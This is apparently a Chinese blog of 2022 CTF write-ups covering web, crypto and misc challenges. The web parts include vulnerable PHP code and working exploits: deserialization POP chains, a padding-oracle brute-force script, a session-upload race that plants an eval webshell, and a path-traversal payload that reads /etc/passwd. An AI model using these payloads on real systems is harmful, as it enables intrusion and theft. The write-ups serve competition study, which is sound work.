57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
// class.php
<?php
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
function __construct(){
$this->file = $_FILES["file"];
}
function do_upload() {
$filename = session_id().explode(".",$this->file["name"])[0].".jpg";
if(file_exists($filename)) {
unlink($filename);
}
move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
echo 'upload '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!';
}
function e($str){
return htmlspecialchars($str);
}
function upload() {
if($this->check()) {
$this->do_upload();
}
}
function __toString(){
return $this->file["name"];
}
function __get($value){
$this->filesize->$value = $this->date;
echo $this->tmp;
}
function check() {
$allowed_types = array("jpg","png","jpeg");
$temp = explode(".",$this->file["name"]);
$extension = end($temp);
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo 'Invalid file!';
return false;
}
}
}

class GuestShow{
public $file;
public $contents;
public function __construct($file)
{

$this->file=$file;
}
function __toString(){
$str = $this->file->name;
return "";
}
function __get($value){
return $this->$value;
}
function show()
{
$this->contents = file_get_contents($this->file);
$src = "data:jpg;base64,".base64_encode($this->contents);
echo "<img src={$src} />";
}
function __destruct(){
echo $this;
}
}


class AdminShow{
public $source;
public $str;
public $filter;
public function __construct($file)
{
$this->source = $file;
$this->schema = 'file:///var/www/html/';
}
public function __toString()
{
$content = $this->str[0]->source;
$content = $this->str[1]->schema;
return $content;
}
public function __get($value){
$this->show();
return $this->$value;
}
public function __set($key,$value){
$this->$key = $value;
}
public function show(){
if(preg_match('/usr|auto|log/i' , $this->source))
{
die("error");
}
$url = $this->schema . $this->source;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
$response = curl_exec($curl);
curl_close($curl);
$src = "data:jpg;base64,".base64_encode($response);
echo "<img src={$src} />";

}
public function __wakeup()
{
if ($this->schema !== 'file:///var/www/html/') {
$this->schema = 'file:///var/www/html/';
}
if ($this->source !== 'admin.png') {
$this->source = 'admin.png';
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// showfile.php
<?php
error_reporting(0);
require_once('class.php');
$filename = $_GET['f'];


if(preg_match("/http|https|bzip2|gopher|dict|zlib|data|input|%00/i", $filename)){
die("nop");
}
else{
if(isset($_SESSION)){
$show = new AdminShow($filename);
$show->show();
}else{
if(preg_match('/guest|demo/i',$filename)) {
$show = new GuestShow($filename);
$show->show();
}else{
die("<p class='tip'>no permission, you can only see string 'demo' and 'guest'</p>");
}
}
}
?>

强网先锋

rcefile

文章链接

文章内提到,自动化加载机制会在实例化一个类时将对应类文件包含,自动加载的后缀是.php.inc

打开靶机,有文件上传,上传发现,需要image/jpeg,php,phtml都不行,文件被改了名字,所以配置文件也不行,www.zip,下载看,发现包含了一个cinfig.inc.php,而文件中有个函数:spl_autoload_register()

然后又对Cookie["userfile"]实施了反序列化,这就实现了一个类的实例化,因此,我们只要上传一个inc文件,文件中有马,将生成的文件名记录下来,例如:d829d02ffba31af930f908d4a09ad85e,然后写一个poc:

1
2
3
4
5
6
<?php
class d829d02ffba31af930f908d4a09ad85e{

}
echo serialize(new d829d02ffba31af930f908d4a09ad85e);
// O:32:"d829d02ffba31af930f908d4a09ad85e":0:{}

然后将这个生成的序列化字符串作为cookie值的变量userfile值进行访问

就包含到马了

flag{29135aef-df99-4dba-9039-0fc7982450bd}

巅峰极客

web

babyweb

试图弱密码登录,但没有成功,回显false,接着抓包看一眼,存在cookie:

1
admin_password=vJPV+K2/32O4fnGKBrP1xgEE3Ho7OpW687IOB/nfuUXADbwlkhqnvbbQWdl8GcJqPYrn4pZiST+FbVOktTa7ng==;session=eyJhZG1pbl9wYXNzd29yZCI6InZKUFYrSzIvMzJPNGZuR0tCclAxeGdFRTNIbzdPcFc2ODdJT0IvbmZ1VVhBRGJ3bGtocW52YmJRV2RsOEdjSnFQWXJuNHBaaVNUK0ZiVk9rdFRhN25nPT0iLCJpc2FkbWluIjpmYWxzZX0.Yvxnqg.W7Vlq3mz_SYFmsraNmUL1uHdC2U;

flask_session解密:

1
2
python3 flask_session_cookie_manager3.py decode -c "eyJhZG1pbl9wYXNzd29yZCI6InZKUFYrSzIvMzJPNGZuR0tCclAxeGdFRTNIbzdPcFc2ODdJT0IvbmZ1VVhBRGJ3bGtocW52YmJRV2RsOEdjSnFQWXJuNHBaaVNUK0ZiVk9rdFRhN25nPT0iLCJpc2FkbWluIjpmYWxzZX0.Yvxnqg.W7Vlq3mz_SYFmsraNmUL1uHdC2U"
# b'{"admin_password":"vJPV+K2/32O4fnGKBrP1xgEE3Ho7OpW687IOB/nfuUXADbwlkhqnvbbQWdl8GcJqPYrn4pZiST+FbVOktTa7ng==","isadmin":false}'

法一:
使用padbuster直接跑

1
./padBuster.pl url 71lYZdByH4QNKf+ZfBkGVIbXbejXLFE+ 8 --cookie auth=71lYZdByH4QNKf+ZfBkGVIbXbejXLFE+ -plaintext user=admin

法二:
脚本爆破中间码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import requests
import time
import base64

enc = base64.b64decode("KBLR73Xs+27+jqaDJxxn5m4dhT0JKrZO7ZrdTDKwY4MWT99pwDAr+Doinyc7Z7aQcWMIJXj1X26zfQIzsKJmpQ==")
iv = enc[:16]
a = enc[16:32]
b = enc[32:48]
c = enc[48:64]
N = 16
middle = b""
m = b''
jwt = '; session=eyJhZG1pbl9wYXNzd29yZCI6IktCTFI3M1hzKzI3K2pxYURKeHhuNW00ZGhUMEpLclpPN1pyZFRES3dZNE1XVDk5cHdEQXIrRG9pbnljN1o3YVFjV01JSlhqMVgyNnpmUUl6c0tKbXBRPT0iLCJpc2FkbWluIjpmYWxzZX0.Yvyqfg.rne4FOqd4fwNXCQxvbDkQq7iTCE'
url = 'http://eci-2ze5c6hgy29ykascmvi4.cloudeci1.ichunqiu.com/login'


def xor(a, b):
return b"".join([byte((a[i] ^ b[i])) for i in range(0, len(a))])


def byte(key):
return key.to_bytes(1, 'big')


for step in range(1, N + 1):
padding = byte(step) * (step - 1)
print("爆破的最后{}位".format(step))
for i in range(0, 256):
# print(i)
new_iv = byte(0) * (N - step) + byte(i) + xor(padding, middle)
data = {
"username": "admin", "passxxxx": "xxmin"
}
payload = new_iv + a
# payload = a + new_iv + b
# print(len(payload))
headers = {
"Cookie": "admin_password=" + base64.b64encode(payload).decode() + jwt
}
# print(base64.b64encode(payload).decode())
r = requests.post(url=url, data=data, headers=headers)
time.sleep(0.01)
# print(i, r.text)
if r.text == "False":
print(i, r.text)
middle = xor(byte(i), byte(step)) + middle
print(middle)
break
print(xor(middle,a))

爆破出来后去掉填充部分,作为密码进行admin账号登录

crypto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import *
from gmpy2 import *
from random import *
# from secrets import flag

assert len(flag)==42
p=getPrime(600)
a=bytes_to_long(flag)
b=randrange(2,p-1)
E=EllipticCurve(GF(p),[a,b])
G=E.random_element()

x1,y1,_=G
G=2*G
x2,y2,_=G

print(f"p = {p}")
print(f"b = {b}")
print(f"x1 = {x1}")
print(f"x2 = {x2}")
'''
p = 3660057339895840489386133099442699911046732928957592389841707990239494988668972633881890332850396642253648817739844121432749159024098337289268574006090698602263783482687565322890623
b = 1515231655397326550194746635613443276271228200149130229724363232017068662367771757907474495021697632810542820366098372870766155947779533427141016826904160784021630942035315049381147
x1 = 2157670468952062330453195482606118809236127827872293893648601570707609637499023981195730090033076249237356704253400517059411180554022652893726903447990650895219926989469443306189740
x2 = 1991876990606943816638852425122739062927245775025232944491452039354255349384430261036766896859410449488871048192397922549895939187691682643754284061389348874990018070631239671589727
'''

椭圆曲线方程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import binascii
def eulerCriterion(a, p):
return -1 if pow(a, int((p-1)/2), p) == p-1 else 1

def cipollaMult(x1, y1, x2, y2, u, p):
return ((x1*x2 + y1*y2*u) % p), ((x1*y2 + x2*y1) % p)

def cipollaAlgorithm(n, p):
a = Mod(n, p)
out = []


if pow(p, 1, 4) == 3:
temp = pow(a, int((p+1)/4), p)
return [temp, p - temp]


t = randrange(2, p)
u = pow(t**2 - a, 1, p)
while (eulerCriterion(u, p) == 1):
t = randrange(2, p)
u = pow(t**2 - a, 1, p)

x0, y0 = t, 1
x, y = t, 1
for i in range(int((p + 1) / 2) - 1):
x, y = cipollaMult(x, y, x0, y0, u, p)

out.extend([x, p - x])

return sorted(out)

p = 3660057339895840489386133099442699911046732928957592389841707990239494988668972633881890332850396642253648817739844121432749159024098337289268574006090698602263783482687565322890623
b = 1515231655397326550194746635613443276271228200149130229724363232017068662367771757907474495021697632810542820366098372870766155947779533427141016826904160784021630942035315049381147
x1 = 2157670468952062330453195482606118809236127827872293893648601570707609637499023981195730090033076249237356704253400517059411180554022652893726903447990650895219926989469443306189740
x2 = 1991876990606943816638852425122739062927245775025232944491452039354255349384430261036766896859410449488871048192397922549895939187691682643754284061389348874990018070631239671589727


lamSqr = (x2 + 2 * x1) % p
lam = cipollaAlgorithm(lamSqr, p)

lam = lam[0]

res = (4 * lam ** 2 * (x1 ** 3 + b) - 12 * x1 ** 3 * lam ** 2 + 4 * lam ** 4 * x1 ** 2) % p
aplus = cipollaAlgorithm(res, p)

aplus = aplus[0]
plus = (3 * x1 ** 2 - 2 * lam ** 2 * x1) % p
a = (aplus - plus) % p
print(a) # ---> 这个是flag:56006392793430010663016642098239513811260175999551893260401436587175373756825079518464264729364083325
print(binascii.unhexlify(hex(a)[2:]).decode())

然后也是sagemath网站跑一下

ciscn

web

web_so_easy_4_u

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// index.php
<?php
error_reporting(0);
session_start();
?>
<html lang="zh-Hans">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>个人资料 - 查看</title>
<link href="./css/bootstrap@5.2.0-beta1/dist/css/bootstrap.min.css" rel="stylesheet"/>
</head>
<body>
<div class="container">
<h1>个人资料 - 查看</h1>
<div class="d-flex justify-content-center">
<div class="card px-2">
<img id="avatar" width="200px" height="200px" class="border border-2 rounded-circle" alt="avatar">
<div class="card-body">
<h5 id="name" class="card-title"></h5>
<p id="slogan" class="card-text"></p>
<a id="edit" href="./edit.php" class="btn btn-primary">编辑</a>
<a id="email" href="mailto:" class="btn btn-primary">邮我</a>
</div>
</div>
</div>
</div>
<script src="./js/@popperjs/core@2.11.5/dist/umd/popper.min.js"></script>
<script src="./js/bootstrap@5.2.0-beta1/dist/js/bootstrap.min.js"></script>
<script src="./js/jquery@3.6.0/dist/jquery.min.js"></script>
<script>
jQuery(function () {
$.get("./api/get.php", function(data) {
if (data.code === 0) {
$("#avatar").attr("src", data.data.avatar);
$("#name").text(data.data.name);
$("#slogan").text(data.data.slogan);
$("#email").attr("href", "mailto:" + data.data.email);
} else {
alert(data.msg);
}
}, "json");
});
</script>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
// edit.php
<?php
error_reporting(0);
session_start();
?>
<html lang="zh-Hans">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>个人资料 - 编辑</title>
<link href="./css/bootstrap@5.2.0-beta1/dist/css/bootstrap.min.css" rel="stylesheet"/>
</head>
<body>
<div class="container">
<h1>个人资料 - 编辑</h1>
<form id="form" action="javascript:">
<div class="mb-3">
<label for="avatar-input" class="form-label mx-auto d-block text-center"><img id="avatar" width="200px" height="200px" class="border border-2 rounded-circle" alt="avatar"></label>
<div class="input-group">
<input type="file" accept="image/*" class="form-control" id="avatar-input" aria-describedby="avatar-hint">
</div>
<div id="avatar-hint" class="form-text">上传你滴靓照</div>
</div>
<div class="mb-3">
<label for="name-input" class="form-label">用户昵称</label>
<input type="text" class="form-control" id="name-input" aria-describedby="name-hint" required>
<div id="name-hint" class="form-text">你想叫啥就叫啥</div>
</div>
<div class="mb-3">
<label for="slogan-input" class="form-label">个性签名</label>
<textarea type="text" class="form-control" id="slogan-input" aria-describedby="slogan-hint" rows="3" required></textarea>
<div id="slogan-hint" class="form-text"> ok熊弟萌!全体目光朝向我看齐,看我!看我!我要宣布个事:</div>
</div>
<div class="mb-3">
<label for="email-input" class="form-label">邮箱地址</label>
<input type="email" class="form-control" id="email-input" aria-describedby="email-hint" required>
<div id="email-hint" class="form-text">请输入形如<code>foo@bar.abc</code>的邮箱地址</div>
</div>
<div class="mb-3 form-check">
<input type="checkbox" class="form-check-input" id="accept-input" required>
<label class="form-check-label" for="accept-input">我同意<code>夏基尔卞德用户资料保存与使用协议</code></label>
</div>
<button type="submit" class="btn btn-primary">保存</button>
</form>
</div>
<script src="./js/@popperjs/core@2.11.5/dist/umd/popper.min.js"></script>
<script src="./js/bootstrap@5.2.0-beta1/dist/js/bootstrap.min.js"></script>
<script src="./js/jquery@3.6.0/dist/jquery.min.js"></script>
<script>
let avatarHash = null;
let avatarBase = null;
$("#avatar-input").on("change", function() {
const avatar = this.files[0];
const data = new FormData();
data.append('img', avatar);
$.ajax({
url: "./api/img2base.php",
data,
success: function (data) {
if (data.code === 0) {
avatarHash = data.data.hash;
avatarBase = data.data.base;
$("#avatar").attr("src", data.data.base);
} else {
alert(data.msg);
}
},
dataType: "json",
cache: false,
contentType: false,
processData: false,
type: 'post',
});
});
$("#form").on("submit", function () {
const name = $("#name-input").val();
const slogan = $("#slogan-input").val();
const email = $("#email-input").val();
const accept = $("#accept-input").prop("checked");
console.log(avatar, name, slogan, email, accept);
$.post("./api/save.php", {avatarHash, avatarBase, name, slogan, email, accept}, function (data) {
if (data.code === 0) {
location.href = "./";
} else {
alert(data.msg);
}
}, "json");
});
jQuery(function () {
$.get("./api/get.php", function(data) {
if (data.code === 0) {
$("#avatar").attr("src", data.data.avatar);
$("#name-input").val(data.data.name);
$("#slogan-input").val(data.data.slogan);
$("#email-input").val(data.data.email);
$("#accept-input").prop("checked", data.data.accept);
} else {
alert(data.msg);
}
}, "json");
});
</script>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
/api/
<?php
error_reporting(0);
session_start();

if(isset($_POST['avatarHash']) && $_POST['avatarHash'] != "") $_SESSION['avatar'] = $_POST['avatarHash'];
$_SESSION['name'] = $_POST['name'];
$_SESSION['slogan'] = $_POST['slogan'];
$_SESSION['email'] = $_POST['email'];
$_SESSION['accept'] = $_POST['accept'];

die(json_encode(array('code' => 0, 'data' => array(
))));

2022wdb

crypto

091

c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc
通过题目描述查询资料得出前六位
861709xxxxxxx

接着直接对后面7位进行爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import hashlib

st = "861709"

def hua():
for i in range(11):
for j in range(11):
for k in range(11):
for l in range(11):
for m in range(11):
for n in range(11):
for o in range(11):
a = f"{st}{i}{j}{k}{l}{m}{n}{o}"
s = hashlib.sha256()
s.update(a.encode())
res = s.hexdigest()
if res =="c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc":
print(f"flag:{a}")
print(f"hash:{res}")
return 0
print(res)

print(hua())

很快得出:

1
2
3
flag:8617091733716
hash:c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc
0

92

1
2
3
4
5
flag[1]*k1*k2*k3*k4*k5%p=45509
flag[2]*flag[1]*k1*flag[1]*k1*k2*flag[1]*k1*k2*k3*flag[1]*k1*k2*k3*k4*45509%p=13220
hex(flag[2]*flag[1]*k1*flag[1]*k1*k2*flag[1]*k1*k2*k3*flag[1]*k1*k2*k3*k4*%p)
hex(flag[2]*flag[1]**5*k1**5*k2**4*k3**3*k4**2*k5%p)

WEB

…/./…/./…/./…/./…/./…/./…/./…/./…/./…/./…/./etc/passwd

“{"updir":"static/uploads/4b3cf1ffc9224f4d830c5a29db854d15","user":"Guest"}”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
var reader = new FileReader();
reader.readAsDataURL(inputBox.files[0]);
reader.onload = function(){
console.log(this.result)
}

var file=document.getElementById("file");

var reader = new FileReader();

reader.onload=function(e){

var text=reader.result;

}

reader.readAsText(file);


fso=new ActiveXObject("Scripting.FileSystemObject");
var f=fso.OpenTextFile("/etc/passwd");
var str="";
while(!f.AtEndOfStream){
var temp=f.ReadLine();
str+=temp[i];
}
console.log(str);


var reader = new FileReader();
var fileUploader = document.getElementById(“fileUploader”);//获取input框id来获取文件信息
reader.readAsText(fileUploader.files[0],“utf-8”);//设置编码
reader.onload = function(){undefined
data.trim().split('\n').forEach(function(v, i){undefined
window[‘str' + (i+1)] = v
}
}


console.log(read("/etc/passwd"));

羊城杯2022

web

1-1 rce_me

1
2
3
4
5
6
7
8
9
/bin/su
/bin/umount
/bin/mount
/bin/date
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import io
url = "http://80.endpoint-04581a9c40334aecbc5427f8e35071f5.dasc.buuoj.cn:81/"
sessid = "hua"


def write(session):
filebytes = io.BytesIO(b'a' * 1024 * 50)
# f = open('1.php','rb').read()
# payload = '?file=/tmp/sess%5fhua'
data = {
'PHP_SESSION_UPLOAD_PROGRESS': """
<?php
echo "muhua_cmd--------------

";
file_put_contents('/var/www/html/%68%75%61','<?php @eval($_POST[1]);');
echo "
-----------------this is end-------------";
?>
"""
}
print(data)
cookies = {
'PHPSESSID': sessid
}

files = {
'file': ('muhua.jpg', filebytes)
}
res = session.post(url=url,data=data,cookies=cookies,files=files)

if __name__ == "__main__":
with requests.session() as session:
for i in range(10000):
write(session)

同时打开bp发一下包

1
2
3
4
5
6
7
8
9
10
11
GET /?file=/tmp/sess%5fhua&a=§1§ HTTP/1.1
Host: 80.endpoint-04581a9c40334aecbc5427f8e35071f5.dasc.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 123.123.123.123
Pragma: no-cache
Cache-Control: no-cache

bp攻击,让它包含一下执行,文件上传

?file=%%2568%2575%2561

然后就可以使用蚁剑连上去了

赛后:
真是那个date报错出的,我真的无语了,然后一开始连不上去,所以得不到报错信息,后来连上去又没试过了
蚁剑连上后,打开交互,直接执行:/bin/date -f /flag报错即可输出内容

1-2 step_by_step_v3
反序列化,ban的太离谱了,直接执行phpinfo函数,在页面中找到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
error_reporting(0);
class yang
{
public $y1;

public function __construct()
{
$this->y1->magic();
}

public function __tostring()
{
($this->y1)();
}

public function hint()
{
include_once('hint.php');
if(isset($_GET['file']))
{
$file = $_GET['file'];
if(preg_match("/$hey_mean_then/is", $file))
{
die("nonono");
}
include_once($file);
}
}
}

class cheng
{
public $c1;

public function __wakeup()
{
$this->c1->flag = 'flag';
}

public function __invoke()
{
$this->c1->hint();
}
}

class bei
{
public $b1;
public $b2;

public function __set($k1,$k2)
{
print $this->b1;
}

public function __call($n1,$n2)
{
echo $this->b1;
}
}

if (isset($_POST['ans'])) {
unserialize($_POST['ans']);
} else {
highlight_file(__FILE__);
}
?>

简单题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class yang
{
}
class cheng
{
}
class bei
{
}
$a = new cheng();
$a->c1 = new bei();
$a->c1->b1 = new yang();
$a->c1->b1->y1 = "phpinfo";
echo serialize($a);
// ans=O:5:"cheng":1:{s:2:"c1";O:3:"bei":1:{s:2:"b1";O:4:"yang":1:{s:2:"y1";s:7:"phpinfo";}}}

1-6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
public function __wakeup(){
$this->func = '';
die("Don't serialize me");
}
}

class Test{
public function getFlag(){
system("cat /flag?");
}
public function __call($f,$p){
phpinfo();
}
public function __wakeup(){
echo "serialize me?";
}
}

class A{
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}

class B{
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
if(isset($_GET['pop'])){
$pop = $_GET['pop'];
$o = unserialize($pop);
throw new Exception("no pop");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Fun{
}
class Test{
}
class A{
}
class B{
}
$b = new B();
$a = new A();
$fun = new Fun();
$fun->func = array(0=>"Test",1=>"getFlag");
$fun->p = "noexit";
$a->a = $fun;
$b->a = $a;


$mu = serialize($a);
$mu = preg_replace('/("Fun":2:)/','"Fun":3:',$mu);
echo $mu;
?>

对于wakeup中有die的Fun类,构造序列化字符串中描述属性数量大于实际数量绕过wakeup,其中func属性可控,在call_user_func中调用Test类中的getFlag方法,获取flag

crypto

ezrsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flag import flag
from Crypto.Util.number import *

m = bytes_to_long(flag)
e = 65537
f = open("output.txt", "r")
a = f.readlines()
for i in a:
n = int(i)
c = pow(m, e, n)
m = c
print 'c = %s' % (m)
f.close()

'''
c = 38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727
'''

确认所有n的两两公因数都相同后写脚本直接出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import gmpy2
from libnum import *
import binascii

f = open("output.txt", "r")
a = f.readlines()
p_all = gcd(int(a[1]),int(a[2]))
e = 65537
no = len(a)
m = 38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727
for i in range(len(a)):
n = int(a[no-i-1])
q = n//p_all
d = gmpy2.invert(e,(p_all-1)*(q-1))
m = pow(m,d,n)
r = binascii.unhexlify(hex(m)[2:]).decode()
print(r)

misc

签个到

rot13加在线解密

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

muhua WeChat Pay

WeChat Pay

muhua Alipay

Alipay

muhua PayPal

PayPal